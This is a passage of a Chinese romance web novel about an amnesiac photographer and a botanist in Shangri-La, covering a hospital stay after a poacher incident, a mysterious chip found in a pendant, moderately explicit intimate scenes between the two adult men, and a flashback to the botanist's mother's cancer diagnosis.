李不凡也担心,但他知道担心没用,停下来就满脑子都是季一南松开手的画面,没办法不想,干脆给自己找点事做。 他没滋没味地咬了两口青稞饼,急诊的门就打开了,护士站在门口喊:“谁是季一南的家属。” 李不凡立刻站起来,走到护士身边。 “你是吗?”护士又确认了一次。 这时候李不凡也不知道自己该说是还是不是,小七看他犹豫,小声和他说:“一哥没有父母了。” “我是他男朋友,有什么事和我说吧。”李不凡干脆单方面承认了。 “我们给他全身做了检查,除了一些小的擦伤以外,其他没什么事。因为天气太冷掉进水里,后来也有一点失温,所以现在在发高烧,还需要继续观察,今晚就留在医院吧,你去交钱办住院。”护士说。 李不凡接过一系列检查单,和护士说了好。 为了让季一南能睡得好一点,病房他选了单人间。 付完钱以后,李不凡就和小七说:“小柳那边应该也检查得差不多了,你们先走,折腾一天了都没好好休息过,你们回酒店睡觉。” “我送你们回去。”阿夏主动说。 “可是……”小七有点迟疑。 “没关系,这里应该很安全,警察都在呢,晚上我一个人陪他就行,”李不凡拍了拍小七肩膀,“而且你们出这么大事,是不是还得回研究所?” 今天小七就要回去一趟,他终于点了点头,让李不凡有什么事都通知他。 处理完这一切,季一南也已经被推回病房。 他挂着点滴,还没有醒,闭着眼好像睡得很熟,脸色比之前在车里稍微好了一些。 李不凡也很累了,他坐在病床边,强撑着陪季一南输点滴。 实在没什么好做的,但什么都不做又容易睡着,李不凡干脆打开手机,玩了几把小程序里的游戏。 中途有人敲了敲门,还是警察,来看看季一南的情况。 但季一南没醒,也没什么好看的,他们又和李不凡聊了一会儿,说现在医院周围都有警察,在没完全确定对方行踪前,他们不会轻易离开,让李不凡放心。 几个小时以后,快到中午时,季一南输完液。 看着护士拔掉针头,李不凡才站起来,去旁边的独立卫生间洗澡。 镇上的医院条件不好,淋浴间是水泥糊出来的,裸露在外面的水管都生锈了,喷头不紧,还滴着水。 但这时没办法在意这么多,在野外能洗上澡也已经很不错,李不凡一件一件脱衣服。 他穿的是高领毛衣,抬手脱时没太注意,把脖子上的项链也裹了下来。 项链落到水池里,还滚了两圈,差点进了漏水的地方,但好在没有。 李不凡用手指勾着银链,把项链捡起来,检查有没有坏时,才发现那个小方块的挂坠竟然开裂了。 裂痕非常平整,应该是本来就存在。 李不凡把挂坠举起来,在镜前灯下观察,用手指试了下,真的从中间打开了。 一枚很小的芯片一样的东西掉出来,为了防止弄丢,李不凡用纸巾包起来,暂时塞进了外套口袋。 以前他没有太仔细看过这条项链,毕竟戴什么首饰是很正常的事,这时他才又观察起挂坠上的那朵花。 来香格里拉这么多天,常见的植物他都见过了,不常见的也见了不少。 今天一看,他觉得上面雕刻的轮廓,很像小雏菊,但也可以说是……格桑花。 李不凡脑子很乱,但他知道那枚芯片大概率很重要。 淋浴的热水来得很慢,但狭窄的空间内很快起了雾。 李不凡同时在想之前在悬崖上他想到的那些片段,他越来越觉得那些莫名出现在眼前的场景是真的。 坠落是真的,打出去却不希望被人接起的电话是真的,跳进湖泊里也是真的。 不然怎么解释那种真实感?而他又是一个失忆了的人,实在很难验证这些瞬间的真伪。 可最让李不凡费解的是,他似乎在那些瞬间里看见了季一南的影子。 好像他们曾经一起沉进湖水里,听见季一南落水声的时候,李不凡觉得自己应该也在他身边才对。 但如果他们曾经认识,季一南为什么不告诉他? 李不凡唯一能想到的可能,是季一南曾经做过什么对他不好的事,他不想承认。这个想法出现的第一秒,李不凡就否定了。 不会,季一南不是这样的人。 因为这种模糊的可能中牵扯到季一南,李不凡决定等到自己离开云南,就去医院看心理医生,试试看有没有恢复记忆的办法。 水汽中,他听见浴室的塑料门被小声敲响。 “有人在里面吗?”是季一南的声音。 “是我。”李不凡说。 门外安静了几秒,塑料门吱呀一声,季一南推开了。 李不凡没想到他会直接进来,没什么防备。浴室又小,他就这样出现在季一南眼前。 但季一南好像很习惯了,何况他本来也知道李不凡在里面洗澡。 “我也想洗澡。”季一南说着就要脱衣服。 李不凡皱眉,抬了下湿漉漉的手,让他别动。 “你发着烧,现在要洗澡?” “但很不舒服。” 李不凡拿他没办法,让他先出去等。 换好衣服以后,李不凡接了一盆干净的热水,把洗过一次的新毛巾泡在里面,端了出去。 季一南躺在床上,听见李不凡走出来,偏头看。 “实在不舒服就先擦擦。”李不凡把水盆放在床头柜上。 “你给我擦吗?”季一南语气平静地问。 李不凡拧着毛巾,“你是不是忘了,我说过不理你了。” 季一南沉默一瞬,说:“忘了。” 李不凡还是没有表情,他掀开季一南的被子,很快地解开了季一南病号服的纽扣,把毛巾铺在上面,粗暴地擦了起来。 在他掌心下,季一南胸膛和小腹的肌肉都小幅度地起伏着,散发缕缕热气。他的皮肤很快就红了,李不凡看到,才轻了一点。 等擦完一次,李不凡把毛巾扔进水盆里,让季一南转过身趴在床上。 季一南很听话,什么也没说就照做。他把脸朝李不凡的那一侧转,贴着枕头,有些困难地想看李不凡。 但李不凡心无旁骛地给他擦完了后背,转身洗毛巾的时候,季一南从床上坐起来,窸窸窣窣脱掉了裤子。 “你干什么?”李不凡手一顿。 “下面不擦吗?”季一南看着他,“下面也不舒服。” 李不凡把拧好的毛巾往他身上一扔,“自己擦。” “你别生气,”季一南去拉李不凡的手,把他朝自己牵,而后吻了吻他的手指,“不要生气了。” 第33章 “什么时候想的那个计划?自己去找那群人,你疯了。”李不凡站在病床边,垂着头,压迫感很足地看着季一南。 “我们去放相机的时候相机也拍到我们了,如果我不去拿,会有无尽的麻烦。”季一南解释。 “那为什么不告诉我?你觉得只牺牲你一个人,很伟大是不是?” 季一南这次安静了一会儿,才说:“当时小柳状态已经很差了,宋朗白和他都走不了太远,你也清楚的。” “你以为你是在学校里解电车难题吗?” “我没有这样想,我开了定位,是故意把他们带到天女镜湖边的。” 李不凡明白了,他一开始就打算跳湖逃生。 “你怎么敢肯定自己能游上岸?” 季一南还牵着他的手,看向他,那明明是一个很普通的眼神,李不凡却觉得他好像说了很多不能也不应该说的话。 “因为我跳过。” 那种熟悉感又出现了,怎么会这么巧?李不凡的回忆里似乎有这个片段,而季一南居然也说他确实跳过这片湖。 李不凡感到错乱,分不清一切到底是真是假。 “所以你就这样去赌。”李不凡说。 “不是赌,”季一南还是看着他,“我没有去想我会回不来的可能,我不想送死。” 但也不能让你出事。 这时李不凡感觉到季一南其实是很犟的一个人,他认定什么就一定要做,李不凡说了再多,好像也是白费口舌。 “水快冷了,”季一南提醒,“你还能帮我擦吗?我没什么力气。” “我看你想这些的时候倒是很有力气,”李不凡把给他买的衣服拿出来,“你换吧。” 但现在季一南穿着病号服,能换的其实只有内裤而已。 李不凡在病床边坐下来,拿出手机假装在处理信息,一副很忙的样子。季一南瞥了他一眼,就开始□□。 房间里只有他换衣服时动被子的声音,李不凡觉得自己也好像发烧了,但盯着屏幕,但不知道自己在看什么。季一南大概是故意的,他把被子弄得很响,换好以后套上了长裤,拎着自己本来的站起来。 李不凡抬手拦住他,“暖气很够吗?你能不能穿件衣服?” “洗个内裤,很快的。”季一南说。 李不凡:“……” 他抓着季一南手腕,想他不就是觉得自己不会做什么才这么肆无忌惮吗? 李不凡手一扣,把季一南拉到自己面前,在他胸膛一推,将他压倒了。 单薄的病床发出嘎吱的声音,季一南反应很快地握住李不凡的腰,抬头吻了上去。 老旧的空调嗡嗡地响着,但心跳压过了一切声音。李不凡的手撑在季一南耳边,趴在他身上,口腔被他的舌尖舔吻着。 季一南并不用力,但却吸空了李不凡的氧气,让他觉得头脑发晕。 但或许落地香格里拉之后的一切都是那样令人眩晕,原以为失忆已经构成生命中的难得体验,没想到他爱上了一个也许仅仅只是在他的人生中擦肩而过的人。 腰上很烫,季一南用手指挑开他的衣摆,在他皮肤揉搓着,又忽然发力,抱着李不凡翻转,把他压在自己身下。 嘴唇短暂地分开,在间隙里李不凡瞥见季一南看他,他的眼神总是那样,包含着许多李不凡读不懂的情绪,很快又被掩盖。 季一南明明还是个病人,可是手上的力道仍然很重,接吻中他拨开李不凡的裤腰,沿着他的小腹往下摸了一下,李不凡红着眼,小声提醒他这里是在医院。 “没人会进来。”季一南亲着他的侧脸,又吻入他的鬓发,最终在他耳后的那块伤痕处停留了很久。 被别人碰的感觉太陌生,李不凡甚至要控制自己,才能不去拨开季一南的手。 他手指捏得很紧,最后时刻季一南很快地顶着他,汗水顺着下巴滴到他脸上。 太热了,李不凡侧过脸,看见床单被自己抓皱,伸出舌尖舔走季一南的那滴汗。 季一南看着他的动作,没说什么,只是拍了下他腰侧,让他抬腿。李不凡照做,季一南就脱掉他的内裤,和自己刚才换下来的一起拿走了。 很快厕所里响起水声,李不凡躺在床上听着,慢慢冷静了一会儿。 十几分钟后,季一南拿着两条洗过的内裤出来,在房间的衣柜里找到衣架,用餐巾纸裹了一层,才把内裤晾上去。 “现在可以好好休息了吗哥?”李不凡问。 季一南微不可察地抬了下唇角,在床上规规矩矩躺下了。 “你呢?”他问。 “我也睡。”李不凡站起来,到旁边的小床上躺下。 医院的床品有一股消毒水的味道,但现在顾及不了这么多。 李不凡一沾枕头就困了,很快昏睡过去。 醒来时天已经暗了,手机上有几条信息,都是警察发来的,他问季一南醒了没有,晚上他们想来了解情况。 李不凡翻过身,发现季一南也醒了,他在被子里看手机,屏幕发出微弱的光。李不凡干脆坐起来,把灯打开。 “等会儿警察要过来。”李不凡说。 “好。”季一南应了一声。 病房门被敲了两声,一个护士走进来,身后跟着宋朗白、小七和小柳。 他们都换过了衣服,状态看起来也好多了。 宋朗白把手里的果篮放在床头柜,随手拉过椅子坐了下来。 “刚睡完一觉来的,你俩好点了吧?” “我没什么事。”李不凡说。 “我也没什么事了。”季一南也说。 护士拿着体温针进来,递给季一南让他再量一量。 “来之前我们去过警察局了,做了下笔录,但我们知道也不多,”小七抱着手臂靠在墙边,“研究所我也去报备过了,我估计这件事要上新闻,好几个记者给我打电话。” 小柳拎着买的晚饭,正把旁边的长桌拉出来。 说到这个大家都笑了,几个人一起拆着食物的包装,宋朗白把果篮的塑料膜撕开了,用里面送的一把塑料刀切橙子。 李不凡下床去把两件冲锋衣拿过来,不盖被子会冷,他让季一南穿上。 季一南接过衣服,先看了一眼李不凡的,问你买的情侣款吗? 护士恰好在旁边拿季一南的体温计看,闻言偏了下头,和李不凡说:“你男朋友退烧了,不过要小心复发,晚上睡觉之前记得再来量一次,去护士台找我们就行。” 李不凡点了下头。 季一南已经穿好衣服,也下了床,靠近李不凡小声问他:“为什么护士说你是我男朋友?” “因为她刚才听到你的话了。”李不凡随口敷衍。季一南顺杆爬的能力太强,他才不会告诉他之前发生了什么。 小七招呼大家过来吃饭,连酒都倒好了。 除了还在吃药的季一南喝的是茶,其他人都举起酒杯。 “我们这次也算同生共死过了。”宋朗白笑。 “是啊,这辈子没想过我能在那种情况下掉进沼泽里,我真连怎么死的都想好了。”小柳无奈地说。 “别担心,我们还能让你一个人上路不成?”小七这么一讲,大家都笑了。 “得了,我看别再说这些不吉利的话。”宋朗白说。 李不凡接上:“祝我们永远不死。” “这个好。”小七先碰了他的杯子,大家便跟上,一起抬头喝了酒。 “现在这位哥能说说自己本来的计划了吗?”宋朗白看向季一南。 “天女镜本来也不深,有点跳水基础的话掉下去死不了。”季一南很平淡说。 小七连连点头:“我看行,以后我跟着老大你工作,还得去学个跳水。” 他把这件事从头到尾讲了一遍:“当时走到牧场以后,一哥不是说让我跟他出去看一圈吗?他那个时候就跟我说他要单独行动,说实话我懵了。他说那个相机不仅拍到那几个盗猎的人,还拍到他和李不凡了。” 后面季一南说的关于他和李不凡的事情,小七没往外讲。 “我反正是知道的,我哥想干什么事没人拦得住,他走了以后,我越想越觉得不对劲,最后还是和李不凡说了。” “没事,去了以后他本来也是想抓着我跳湖的。”李不凡又喝了口酒。 季一南无奈地搭了下李不凡的后颈,“他们都开枪了,多少尊重一下子弹。” 劫后余生,氛围也轻松不少,聊着聊着大家说起工作的事情。 宋朗白想到李不凡之后要去趟国外,顺便问了下他的计划。 “我们还有央娜雪山没拍,这个季节日照金山本来也不容易拍到,”宋朗白说,“不然等你回来我们再去?” “行啊。”李不凡点头。 他想到挂坠里芯片的事情,宋朗白人脉广,说不定他能有办法。 晚餐刚结束,警察就带人来了。 大家都离开病房,留他们和季一南单独聊聊。 几个人走出医院,到旁边的小超市买了点东西。 李不凡挑了一条薄荷糖,付完钱以后撕开包装,分了几颗给大家,自己也扔了一颗进嘴里。 他们站在超市的屋檐下,李不凡才把芯片拿出来。 裹在纸巾里也怕丢,他后来从包里翻出小的装相机内存卡的塑料袋,封好了。 “有件事麻烦你,”李不凡把芯片递给宋朗白,“我也不知道这是什么,但感觉是芯片,里面可能有东西,你能不能帮我问问,你有没有什么朋友能弄清楚的?” “是有点像芯片……”宋朗白翻来覆去看了看,答应下来,“有消息我通知你。” “我们先好好休息几天吧,”李不凡说,“等过两天,去拍古城的人文,等我回来以后再上白玛央,去金轮顶,还有白玛央山脚下的那个村子。” “行啊,你走那个星期就当我俩放假了,我们打算去附近玩一圈,丽江大理西双版纳之类的。”宋朗白拍拍小柳肩膀。 “我们这趟是真的折腾,本来以为你出国之前就该结束了,这样也不用再回来一次。”小柳说。 “没关系,反正没什么特别的事。” “我看他是巴不得回来。”宋朗白玩笑道。 李不凡没说话,就是默认的意思。 “我本来以为,你们萍水相逢,差不多就行了,现在看来这条路还有得走。”宋朗白说。 李不凡嚼碎了薄荷糖,“事在人为。” 把其他人送走,李不凡独自回了医院。他先去护士站拿了体温计,才走进病房。 警察已经离开了,只剩季一南在看手机。 “我还在和研究所那边沟通,明天出院要先过去一趟。”季一南说。 “手续会很麻烦吗?”李不凡问。 “我也不知道。” 李不凡把体温计递给季一南,等他再量一次。 季一南:“阿夏说他们已经帮我们把营地里的东西都带走了,所有标本都还在。” 李不凡:“那就好。” 五分钟过去,季一南没有发烧,李不凡也就放心了一些。 他把温度计还给护士,回病房的时候季一南已经躺下了。 没有什么其他要做的事,李不凡打算早点休息。 他躺上自己的单人床,关掉了灯。 房间里安静了片刻,李不凡听见隔壁床上传来声响,季一南坐了起来,走到李不凡床边,掀开他的被子,也挤了进来。 “床这么窄……”李不凡差点以为自己要被挤下去,但季一南抬手拦了一下。 “没关系,”季一南给自己找了个合适的位置,伸出手臂让李不凡躺上来,“大不了叠着睡。” “我以前怎么不知道你脑子里这么多废料。”李不凡侧过身,闻着季一南的吐息。 “不是废料。”季一南摸了摸他后脑勺的头发。 李不凡睡得很快,但可能是因为之前精神太紧张,下午又才补了觉,这一次他睡得不算熟,做了很多个梦。 最清晰的一个,还是他坐在机场打电话,室外是连绵的雨,像听筒内连续的嘟声。 第34章 李不凡醒来的时候季一南不在房间里。 他先去厕所洗漱,看见用过的毛巾,知道季一南起了床。 没等多久季一南就回来了,手里拎着买好的早餐,说自己已经办了出院。 “等会儿我们一起去趟警局,我还要去研究所。”季一南把买好的东西放在小桌上,一样一样拆开包装。 “早上起来量过体温吗?”李不凡坐下来。 看季一南气色还好,他没太担心。 “量过,没烧了,我身体挺好的。”季一南本来只是说一句很普通的话,但最后半句又有点歧义,两个人对视一眼,莫名其妙笑了。 去警局做完笔录,时间才刚到正午,两个人在镇上随便吃了点东西,就继续开车上路。 研究所和酒店顺路,李不凡把季一南送到研究所,本来想直接走的,但季一南问他想不想进去看看。 “我应该待不了多久,你可以进去等我,做个登记就行。”季一南说。 回去也没什么事,李不凡就答应了。 他把车开到门卫,大叔把一本厚厚的登记册推出来,让李不凡登记。 李不凡握着有些旧、但墨水很充足的圆珠笔,低头写字。 “听小七说你们前两天遇到盗猎了?”门卫大叔有一口本地口音,“哦哟,好吓人的,我特别小的时候,跟我妈上山采蘑菇遇到过一次,当时就想这辈子再也别碰到。” “这种事我估计一辈子也就碰到一次。”季一南注意到李不凡停顿了一会儿,好像不知道怎么写了,就低头问他怎么了。 原来李不凡停在了“关系”那栏上,季一南小声说:“写家属。” “怎么就家属上了?”李不凡挑眉。 “你自己这么跟护士说的。”季一南说。 李不凡一愣:“你怎么知道的。” “早上自己去量体温的时候护士告诉我的,”季一南很轻地碰了下他后颈,“快写,写完进去了。” 门卫笑嘻嘻地收下那个登记本,看也没看一眼。 李不凡把车开进研究所的停车场,和季一南一起从大门走进去。 这时李不凡才发现季一南朋友挺多的,每个路过的人都愿意很热情地和他打招呼,还都问了几句他们前两天发生的事,主要是关心季一南的身体。 季一南的办公室在三楼,他们一直往楼上走,路过三楼却没停下。 “我带你去可以参观的地方,不然你无聊。”季一南说。 “你同事们人还挺好的。” 季一南觉得李不凡这句话就好像之前他不这么想一样,于是问:“怎么这么说?” “就是觉得你好像是个很闷的人,但你又和很多人关系不错。”李不凡说。 “可能是因为我是个好人,”季一南给了一个特别朴实的答案,“而且我没有和很多人关系不错,只有你一个。” 顶楼是一个展馆,虽然空间不大,但可以看的东西有很多。 季一南把李不凡留在这里,自己下楼了。 展馆中央有一个小型沙盘,做出了整个香格里拉的地貌。 周围的墙上挂着许多植物的标本,有不少李不凡已经看过真的了。 李不凡对这些很感兴趣,他想到自己家里那一堆户外运动的东西,又意识到人的喜好好像并不会轻易发生变化,哪怕他失忆了,喜欢过什么,也还是记得。 在里面逛了两个多小时,季一南发来消息说他这边结束了。 李不凡准备走,离开的时候视线扫过墙上的一幅标本,是一支格桑花。 每幅标本的右下角,都会写上采集人的名字和采集的日期。 而这支格桑花的标本下写的采集人是李不凡。 日期是他失忆前四个月。 他过来这里,甚至帮这里的研究所采集过标本。 李不凡一下回不过神,便用手机拍下了这幅标本。 看到季一南时,他把照片给他。 季一南看过以后沉默了很久,最后说:“也许是你那时刚好在这边旅游,遇到了我们所里的人,帮他采集了这个标本,才会写你的名字。” “之后我再去查查自己的航班记录。”李不凡收回手机。 两个人上了车,还是李不凡坐在驾驶座。 季一南自从看过那个标本记录以后,就显得有些魂不守舍,看起来比李不凡还在意。 “这展馆就在你办公室楼上,怎么还是我先发现的。”李不凡笑。 “这是对外开放给游客的,我很少上去看。”季一南说。 等他们把车开回酒店时已经是傍晚,小柳和宋朗白都睡够了,等李不凡回来,刚好一起去吃点东西。 李不凡觉得季一南状态不好,但不知道是为什么。在宋朗白招呼着去吃饭的时候,他低声问季一南:“你要不要回去休息?” “我没事。”季一南摇摇头,牵了一下他的手。 “你看起来不是很好。”李不凡说。 又是这样,李不凡每次把问题都问得很深了,就是想听季一南说一说,但他总不告诉李不凡,也不是让李不凡猜的意思,像是真有什么李不凡不能知道。 别的都好,唯独这一点上,李不凡有些介意。 季一南又说了一次没事,转而问李不凡想吃什么。李不凡说随便,还把自己的手从季一南的手里抽出来。 这个动作做完,季一南果然愣在原地,显得格外无助,李不凡就又不忍心了,回头问他:“你每次都不让我知道你在想什么,为什么呢?” 因为不能。 但季一南什么都没有说,只告诉他:“我也想知道你的名字为什么会在上面。” 这是真的。 他们去了一家路边的烧烤摊,今天天气好,晚上也没有前几天那么冷。 有宋朗白和小柳在,席间就不可能冷场。但李不凡全程没主动和季一南说话,季一南找他说什么的时候他倒不介意,就是能看出还是有情绪。 明明只是一顿普通晚餐,宋朗白非要整成告别仪式。 除了季一南还不能喝酒,剩下三个都喝了挺多。之前李不凡就感觉到自己酒量应该不差,但今晚也被灌得有点醉了。 吃得差不多准备要走的时候,他们遇到一个从古城回来的老奶奶。 她拎着一篮子鲜花,手里还拿着几只花环,路过问他们:“要不要簪花啊?” 宋朗白笑,说奶奶我们这桌都是男生。 “男生也可以簪花,要不要试试?很好看的。”为了证明自己的话,奶奶顺手就把花环放在身边季一南的头发顶上。 “哎,这个好看,这个花环多少啊?”李不凡一边拿相机一边说,“奶奶这个我要了,季一南你就这么戴着。” 宋朗白赶紧抓住机会:“奶奶你看啊,做生意就是得让客户看到这个东西的价值,这样,您就给他簪一个。” 他指着李不凡。 李不凡刚拍了几张季一南的照片,没想到这件事会轮到自己头上。 不过他也觉得没什么,点头说行啊。 奶奶给他簪花的时候很仔细,一边做一边还和他们讲解是怎么弄的。这一群人里唯独李不凡看不见自己头上的花,他低着头醒酒,待了一会儿,瞥见坐在身边的季一南。 大家都好奇地看着他头发上的花,唯独季一南看着他。 很多事都可能是假的,但李不凡不怎么怀疑季一南的喜欢。 他和奶奶说:“这个好像也不复杂,要不让他试试。” 被冷落一晚上的季一南骤然被点到,说好啊,从奶奶手里接过花,站在李不凡身后。 他头上的花是浅蓝色的,季一南根据自己的审美,给李不凡簪完了最后一层。 奶奶把镜子递给李不凡,李不凡看了看,觉得还可以。 “别动啊,我给你们拍张照。”宋朗白醉得手都在抖,拍出来的照片全是花的,李不凡一张没看清,还是摆摆手说算了就这样。 他们走到街边打车回去,到了酒店,几个人又一起上楼。 宋朗白和小柳互相搀扶着走在前面,李不凡还能站稳,走路也没什么问题,甚至看上去并不醉。 但季一南知道这已经差不多碰到他酒量的极限了,他落后李不凡半步,等他到了房间门口也没走。 李不凡拿出房卡把门刷开,才注意到季一南还在身边,问他:“不回去吗?” “帮你把头发拆了。”季一南说。 “哦,好啊。”李不凡推开了门。 他顺手按亮灯,门廊亮起,两个人并肩在门口换好了拖鞋。 李不凡走进卧室,拉开长桌边的椅子坐下,季一南就走到他身后,帮他拆掉刚才的花。 他动作小心,几乎没有弄痛李不凡。 “你下午问我的时候,我状态是不太好,可能身体还没恢复。”季一南垂着头,被摘下来的花一朵挨着一朵堆在桌面,他也没有乱放。 “我之后可能也要去趟国外,是临时的工作,现在还没确定。” 李不凡抬眼,从面前的小镜子里看季一南的脸。 他嗯了一声,算听见了。 “你们回来以后应该也就剩下雪山没拍了是吗?那之后你的工作是什么?”季一南问。 “暂时没有别的。” “那再在云南多待一会儿好吗?搬来跟我一起住,我在研究所旁边有宿舍。” 季一南这么说,反而是李不凡反应了一会儿。 “那你为什么住酒店?” “最开始是因为我要去考察的地方离研究所太远了才搬过来,后来是因为你在这边。” 花都拆完了,季一南用手摸了摸李不凡柔软的头发。 他能做这样的事,李不凡一点都不意外。 “喝水吗?我去给你烧,刚喝那么多酒不喝点热的难受。”季一南转身去拿水壶。 他刚刚把烧水的按钮按好,李不凡就从身后抱住了他。 “季一南,我有对你很好过吗?”李不凡语气疑惑。 他醉了,不清醒,很多记忆在脑海里来来往往的,原本记得的事,好像也不记得了。 “有啊。”季一南偏过头,看见李不凡有些红的嘴唇,就贴上去和他接吻。 他捧着李不凡的脸,有些粗糙的拇指从李不凡耳后的伤疤划过。 酒精似乎可以靠接吻传递,昏暗的房间内,两个人都醉得不轻,吻得也意乱情迷,跌跌撞撞靠住了墙。李不凡被死死抵在墙面,感到季一南的手贴着自己的颈侧往下滑,到腰间便轻轻一挑,脱掉了他的睡衣。 “暖气开得不够吗?”季一南声音很轻,好像是真的询问,“你皮肤好凉。” “可是你很热,”李不凡靠上去,含住季一南的嘴唇,闭了眼,模糊地说,“贴着我,我就不冷了。” 密集的啧啧水声在耳边被放大数倍,季一南抱着李不凡转了半圈,倒进柔软的床铺。 什么东西也没有,他一把扯掉李不凡下半身的衣裤,喘着气贴在他耳边,“乖,腿并拢。” 李不凡笑了一声,乖?他不知道自己以前有没有听过这样的话,但的确新奇。 很快季一南就握住他的腰动了起来,木床摇晃,发出吱呀的声音,李不凡红着耳朵继续和季一南接吻。 吻了多久不知道,但等季一南掌心潮湿的时候,李不凡泄了气,真的全身都热起来。 季一南打开落地灯,随手抽了几张纸,杂乱地捏在一起,替李不凡擦了擦,又埋首在他颈窝,深深地吸了口气。 淡淡的酒味飘浮在房间里,季一南扔掉纸,又抽了几张,给李不凡擦脸上的汗水,扣住他搭在床上的手:“去洗澡?” 李不凡点点头,被季一南一把拉起来。 浴室里灯光明亮,从一面小镜子,李不凡看见自己发红的皮肤。那边季一南热好了水,招手让他过来,他就站在淋浴下,抬手弄湿自己的头发。 季一南挤了沐浴露搓在掌心,垂眼帮李不凡涂,起着泡沫的手指时不时碰到李不凡耳后的伤疤。 他的心咚咚地跳着,李不凡对自己而言到底是什么意义,很长时间以来他也没想过这个问题。 意义是季一南少有思考的问题,在面对抉择的时刻,他更倾向于选择对的事。 但很多时候,他也不知道什么才是对。 第35章 本科毕业的那一年,最好的消息是从他们的朋友传来的。 在李不凡的毕业典礼上,他接到一通来自喻修景的电话。 那天天气很热,举行完拨穗仪式后,李不凡和季一南坐在学校绿廊下的长椅上。他脱了学士服,露出有些汗湿的T恤,怀里捧着季一南送的花。 接听电话后大约几秒,李不凡就笑着看向季一南,小声和他说:“小景要和徐祁年结婚了。” 季一南同样惊讶,李不凡干脆打开扬声器,对喻修景说:“小景,一哥也在我身边。” 高中的时候喻修景就被星探发掘,后来也一直在演戏。虽然没有大火,但也算得上有很多作品。 “一哥,好久没有联系你了。”喻修景的声音没怎么变。 “恭喜你们,”季一南说,“当初你们在一起的时候就没告诉我们,还是李不凡发现的。” “所以这次特意通知你们,”电话那边蹦出徐祁年的声音,“不过因为小景的工作,我们不打算公开,婚礼大概也会等到合适的时候再准备。” “那些都只是形式而已,”李不凡说,“你们按照自己的想法来就好了。” “那你们呢?最近是不是要毕业了。”喻修景问。 “你问的正好,今天我们学校拨穗仪式。”李不凡坐在长椅上,和他们聊了很长时间。 电话挂断的时候,一个穿着学士服的小熊玩偶正好从他们面前走过,本来都不打算停留,发现李不凡挂了电话,才折返回来,顺手递给了李不凡和季一南两朵玫瑰。 李不凡突发奇想,“等小景和徐祁年婚礼的时候,我也扮成小熊玩偶去给他们送花。” 季一南确定自己没有看错,在李不凡说到这些时,眼中也有期待和憧憬。于是他忽略了那些李不凡刻意在他们之间竖起的界限,说以后我们也可以。 在他把这句话说出口后,李不凡没有立刻回答。他沉默的时间有多长?几秒?大约是几秒吧,季一南却觉得自己已经失落了一辈子。但他安慰好自己,也是一瞬间的事。在李不凡抬起头时,他又转移了话题,问李不凡饿不饿,他们现在就可以去他提前订好的餐厅吃饭。 起身时,季一南习惯性地去牵李不凡的手,却被李不凡躲开。 “可能现在还不可以。”他说。 “嗯。”季一南应了一声,侧过脸平静了几秒,像什么也没有发生过那样,又邀请李不凡去吃晚餐。 “但也许以后。”李不凡再一次答非所问。 毕业之后,李不凡成为全职的摄影师,季一南则继续读书。为了季一南每天能多一些休息的时间,他们把家搬到季一南的学校旁边。他用一年时间完成了硕士学业,在博士时却换了专业,去学植物学。 说起为什么要换专业,季一南自己也认为,他的决定包含几分难得的冲动与偶然。 硕士时,季一南的导师在做一项交叉研究,项目内容和曼拉山脉也得怀的分布息息相关。 研究还在前期阶段,季一南想自己去山里采集标本,却毫无预料地得知了宋宁患病的事情。 出发前三天的清晨,季一南接到一通陌生人打来的电话,对方先说这里是某某医院,再问他是否是宋宁的家属。 护士说宋宁被救护车送来了医院,目前经过初步检查,患者有黄疸症状,CA19-9异常,增强CTA也看到了胰头肿块,下一步要等待穿刺活检,确认是否是胰腺癌。 听到“胰腺癌”这三个字,季一南脑子发懵,一瞬间明白天塌下来的感觉,大脑空白地给自己定回国的机票。 宋宁给季一南打电话的时候,是当晚的深夜。 李不凡刚刚才在被季一南折腾的疲惫中睡着,没有被吵醒。季一南看了一眼他的侧脸,就轻轻起身去阳台接电话。 “我还没确诊,现在还有很多可能,你先不要太担心了,”宋宁的声音听起来沙哑虚弱,低声劝道,“我知道你在忙毕业的事情,硕士一年本来就很难读,这种时候你先别想我的事情,你又不是医生,来了也没什么用,我请了护工,这边什么人都有,他们照顾我就够了。你那边最多就忙几个月,等这几个月过去你再回来,到时候我说不定都好了,不用你回来了。” 季一南没说话,妈妈的声音像隔了很远,但他努力想要听得清晰。几乎是忍着哽咽,季一南说:“我周末回来。” 宋宁沉默了片刻,才妥协道:“好吧,你也别把情况想得太坏,我都还没开始害怕呢。” 她故作轻松:“我看隔壁床的女儿还给她带花了,我喜欢百合,你来的时候也给我带一束,很香的。” 挂断电话后季一南站在阳台上发呆,直到已经有些冷了,才转身回客厅,想拿烟,看见不知道在他身后待了多久的李不凡。 季一南怔了一瞬,伸出去够烟盒的手还没收回来。 房间里没有开灯,公寓周围的楼栋在夜色里亮着,星星点点的光把这里照亮了一点,不然季一南应该连李不凡也看不清。 “什么时候醒的?”季一南哑着嗓子问。 “你出去接电话的时候我就醒了,”李不凡跟他一起走到阳台上,“怎么了?” “我妈妈,”他们之间没什么好隐瞒的,“她可能是胰腺癌,我想回去。” 李不凡用手搭住他肩膀,朝他身上靠了一点,季一南就搂住他的腰,把他抱住,埋头在他颈窝,很深地吸了一口气。 “怎么办,”季一南全身都在抖,“胰腺癌死亡率很高,是不是……” “你先回国,听医生的建议,”李不凡架着他,把他撑起来,慢慢拍着他后背,冷静地说,“也许情况还没有那么糟,在这里你什么也做不了,还会胡思乱想。” 他知道季一南要去采集也得怀,于是说:“标本的事情你别担心。” 他一劝,季一南就听,说好。 三天后,经过一次转机,季一南在国内降落。 下飞机以后他直奔医院,正好遇到宋宁在做日常检查。 看见宋宁第一眼,季一南几乎有些认不出她。 化疗让她满头漂亮的卷发掉了大半,她气色很差,薄如白纸。 在和季一南对视的瞬间,宋宁下意识的反应是躲避。 那时季一南在想,如果他没有立刻飞到国内,可能连宋宁的最后一面也见不上了。 季一南在国内待了接近一个月,每天除了陪宋宁去做检查以外,他都在继续远程上课。 宋宁的病已经到了晚期,化疗一段时间之后,季一南听从医生建议,同意手术。 在手术前一个星期,季一南给李不凡打电话,和他说了这件事。 可能季一南的语气里有难以掩饰的疲惫和担心,李不凡接到电话以后,马上就说他会飞过来。 在宋宁的手术开始前几天,季一南等到了李不凡。 那个早晨,他穿着一身粉蓝色的衣服,穿过医院洁白的走廊,直到季一南牵住他,都还以为自己是在梦里。 “飞了几个小时?”季一南把李不凡身上的双肩包摘下来,背在自己身上,顺手拿过他的行李箱。 “我在香港转机的,前面睡了挺长时间,”李不凡牵着他手,“我先进去看看阿姨吗?” “她刚睡着,我先带你去酒店。”季一南说。 季一南就在医院附近开了一个房间,两个人拿着房卡上楼。 “我没来之前,你一直睡在医院里吗?”李不凡问。 